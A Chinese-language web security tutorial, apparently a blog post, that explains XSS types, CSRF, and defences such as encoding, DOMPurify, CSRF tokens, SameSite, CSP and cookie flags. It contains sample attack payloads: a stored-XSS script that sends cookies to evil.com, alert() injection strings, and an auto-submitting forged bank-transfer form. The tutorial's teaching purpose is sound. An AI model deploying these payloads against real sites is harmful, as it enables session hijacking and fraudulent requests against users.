欢迎光临
我们一直在努力

前端安全 XSS 与 CSRF

文章目录

  • 前言
  • 一、XSS(跨站脚本攻击)
    • 1.1 定义
    • 1.2 三种类型
      • 存储型 XSS
      • 反射型 XSS
      • DOM 型 XSS
  • 二、XSS 防御
    • 2.1 输出编码
    • 2.2 避免危险 API
    • 2.3 使用 DOMPurify
  • 三、CSRF(跨站请求伪造)
    • 3.1 定义
    • 3.2 攻击原理
  • 四、CSRF 防御
    • 4.1 SameSite Cookie
    • 4.2 CSRF Token
    • 4.3 验证 Origin / Referer
  • 五、CSP(内容安全策略)
    • 5.1 定义
    • 5.2 配置示例
    • 5.3 常用指令
  • 六、Cookie 安全属性
    • 6.1 各属性作用
  • 七、XSS 能否绕过 CSRF 防御
  • 八、面试聚焦
    • 8.1 富文本安全处理
    • 8.2 innerHTML 的风险
  • 九、易混淆点
  • 十、思考与练习
  • 总结

前言

前端安全是开发中必须重视的问题,XSS 和 CSRF 是最常见的两种攻击方式。本篇会讲清楚:

  • XSS 的三种类型及防御
  • CSRF 的原理及防御
  • CSP(内容安全策略)
  • Cookie 安全属性

一、XSS(跨站脚本攻击)

1.1 定义

XSS 是指攻击者将恶意脚本注入到网页中,当用户访问时执行恶意代码。

1.2 三种类型

存储型 XSS

恶意脚本存储在服务器(数据库),用户访问时自动执行。

// 攻击场景:评论区
// 攻击者提交恶意评论
const comment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'

// 服务器存储后,其他用户访问时脚本执行
// 危害:窃取 Cookie、会话劫持

反射型 XSS

恶意脚本在 URL 中,服务器反射回响应时执行。

// 攻击场景:搜索功能
// URL: https://example.com/search?q=<script>alert('XSS')</script>

// 服务器将 query 直接拼接到 HTML
const html = `<div>搜索结果: ${query}</div>`

// 浏览器执行脚本

DOM 型 XSS

恶意脚本通过前端 JavaScript 直接操作 DOM 执行。

// 攻击场景:从 URL 获取参数并插入 DOM
const hash = location.hash.substring(1)
document.getElementById('output').innerHTML = hash

// URL: https://example.com#<img src=x onerror="alert('XSS')">


二、XSS 防御

2.1 输出编码

// 1. HTML 编码
function encodeHTML(str) {
return str
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#39;')
}

// 使用
const userInput = '<script>alert("XSS")</script>'
document.getElementById('output').textContent = userInput // 安全
// 或
document.getElementById('output').innerHTML = encodeHTML(userInput) // 安全

2.2 避免危险 API

// ❌ 危险:直接使用 innerHTML
element.innerHTML = userInput

// ✅ 安全:使用 textContent
element.textContent = userInput

// ❌ 危险:动态执行代码
eval(userInput)
new Function(userInput)()

// ❌ 危险:拼接 HTML
const html = `<div>${userInput}</div>`

2.3 使用 DOMPurify

// 富文本内容过滤
import DOMPurify from 'dompurify'

const dirty = '<img src=x onerror="alert(1)"><p>Hello</p>'
const clean = DOMPurify.sanitize(dirty)
// <p>Hello</p>(危险标签被移除)

// 配置允许的标签和属性
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong'],
ALLOWED_ATTR: ['href', 'title']
})


三、CSRF(跨站请求伪造)

3.1 定义

CSRF 是指攻击者诱导用户在已登录的网站上执行非本意的操作。

3.2 攻击原理

<!– 用户已登录 bank.com –>
<!– 攻击者在 evil.com 放置 –>

<!– 自动发起转账请求 –>
<img src="https://bank.com/transfer?to=attacker&amount=1000">

<!– 或使用表单自动提交 –>
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit()</script>

<!– 浏览器自动携带 bank.com 的 Cookie,请求成功 –>


四、CSRF 防御

4.1 SameSite Cookie

// Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

// SameSite 属性值:
// Strict:完全禁止第三方 Cookie
// Lax:允许导航和 GET 请求携带(默认值)
// None:允许跨站携带(必须设置 Secure)

4.2 CSRF Token

// 1. 服务器生成 Token
const csrfToken = generateRandomToken()
res.cookie('csrfToken', csrfToken)

// 2. 前端在请求中携带 Token
// 方式一:表单隐藏字段
<form>
<input type="hidden" name="_csrf" value="${csrfToken}">
</form>

// 方式二:请求头
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken
},
body: JSON.stringify(data)
})

// 3. 服务器验证 Token
app.post('/api/transfer', (req, res) => {
if (req.headers['x-csrf-token'] !== req.cookies.csrfToken) {
return res.status(403).json({ error: 'Invalid CSRF token' })
}
// 处理请求
})

4.3 验证 Origin / Referer

// 服务器检查请求来源
app.post('/api/transfer', (req, res) => {
const origin = req.headers.origin || req.headers.referer
if (!origin || !origin.startsWith('https://bank.com')) {
return res.status(403).json({ error: 'Invalid origin' })
}
// 处理请求
})


五、CSP(内容安全策略)

5.1 定义

CSP 是通过 HTTP 响应头或 meta 标签定义页面可以加载哪些资源的策略。

5.2 配置示例

// HTTP 响应头
ContentSecurityPolicy:
defaultsrc 'self';
scriptsrc 'self' https://cdn.example.com;
stylesrc 'self' 'unsafe-inline';
imgsrc 'self' data: https:;
connectsrc 'self' https://api.example.com;

// meta 标签
<meta httpequiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">

5.3 常用指令

// script-src:限制脚本来源
// 'self':同源
// 'nonce-xxx':随机数匹配
// 'sha256-xxx':脚本哈希匹配

// style-src:限制样式来源
// 'unsafe-inline':允许内联样式(不推荐)

// connect-src:限制 AJAX / WebSocket 连接
// 'self':同源 API

// report-uri:违规上报地址
ContentSecurityPolicy: ; reporturi /api/cspreport


六、Cookie 安全属性

// 完整的 Cookie 安全配置
SetCookie: session=abc123;
Domain=example.com;
Path=/;
Secure; // 只在 HTTPS 下发送
HttpOnly; // 禁止 JavaScript 访问
SameSite=Strict; // 禁止第三方携带
MaxAge=3600; // 过期时间

6.1 各属性作用

属性作用
Secure 只在 HTTPS 下发送
HttpOnly 禁止 JavaScript 访问(防 XSS 窃取)
SameSite 限制第三方携带(防 CSRF)
Domain 指定 Cookie 适用域名
Path 指定 Cookie 适用路径

七、XSS 能否绕过 CSRF 防御

// 场景:Cookie 设置了 SameSite=Strict
// 但攻击者通过 XSS 在目标站点执行脚本

// XSS 可以:
// 1. 在同源下发起请求(不受 SameSite 限制)
// 2. 读取页面中的 CSRF Token
// 3. 直接操作 DOM 提交表单

// 结论:XSS 可以绕过部分 CSRF 防御
// 因此:防御 XSS 是根本


八、面试聚焦

8.1 富文本安全处理

// 问题:富文本允许用户输入 HTML,如何安全渲染?

// 方案:使用 DOMPurify 过滤
import DOMPurify from 'dompurify'

function renderRichText(dirty) {
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'img'],
ALLOWED_ATTR: ['href', 'src', 'alt', 'title']
})
return clean
}

// 危险属性需要过滤:
// onerror, onclick, onmouseover 等事件属性
// javascript: 协议的 href

8.2 innerHTML 的风险

// ❌ 危险:直接拼接用户输入
element.innerHTML = `<div>${userInput}</div>`

// ✅ 安全:使用 textContent
element.textContent = userInput

// ✅ 安全:使用模板引擎自动转义
// Vue: {{ userInput }} 自动转义
// React: {userInput} 自动转义


九、易混淆点

  • XSS vs CSRF:XSS 是注入恶意脚本执行;CSRF 是伪造用户请求。XSS 可以绕过 CSRF 防御。
  • 三种 XSS:存储型(服务器存储)、反射型(URL 反射)、DOM 型(前端 DOM 操作)。
  • SameSite 属性:Strict 完全禁止,Lax 允许 GET 导航,None 必须配合 Secure。
  • HttpOnly:防止 JavaScript 读取 Cookie,但不能防止 XSS 注入。

  • 十、思考与练习

    1. XSS 的三种类型及区别是什么?

    解析:

    • 存储型:恶意脚本存储在服务器,所有用户访问都会触发
    • 反射型:恶意脚本在 URL 中,服务器反射回响应执行
    • DOM 型:恶意脚本通过前端 JavaScript 操作 DOM 执行

    2. 如何防御 XSS?

    解析:

    • 输出编码(HTML 编码、URL 编码)
    • 避免危险 API(innerHTML、eval)
    • 使用 DOMPurify 过滤富文本
    • 设置 CSP 限制脚本来源

    3. CSRF 的防御方案有哪些?

    解析:

    • SameSite Cookie 限制第三方携带
    • CSRF Token 验证请求合法性
    • 验证 Origin / Referer 来源

    4. 为什么 XSS 可以绕过 CSRF 防御?

    解析:XSS 在目标站点同源下执行脚本,不受 SameSite 限制,可以直接读取 CSRF Token 并发起请求。

    5. Cookie 的安全属性有哪些?

    解析:

    • Secure:只在 HTTPS 下发送
    • HttpOnly:禁止 JavaScript 访问
    • SameSite:限制第三方携带
    • Domain / Path:指定适用范围

    总结

    • XSS:注入恶意脚本,分存储型、反射型、DOM 型
    • XSS 防御:输出编码、避免危险 API、DOMPurify、CSP
    • CSRF:伪造用户请求,利用 Cookie 自动携带机制
    • CSRF 防御:SameSite Cookie、CSRF Token、验证 Origin
    • CSP:通过 HTTP 头限制页面可加载的资源
    • Cookie 安全:Secure + HttpOnly + SameSite 组合使用
    赞(0)
    未经允许不得转载:171主机测评 » 前端安全 XSS 与 CSRF
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址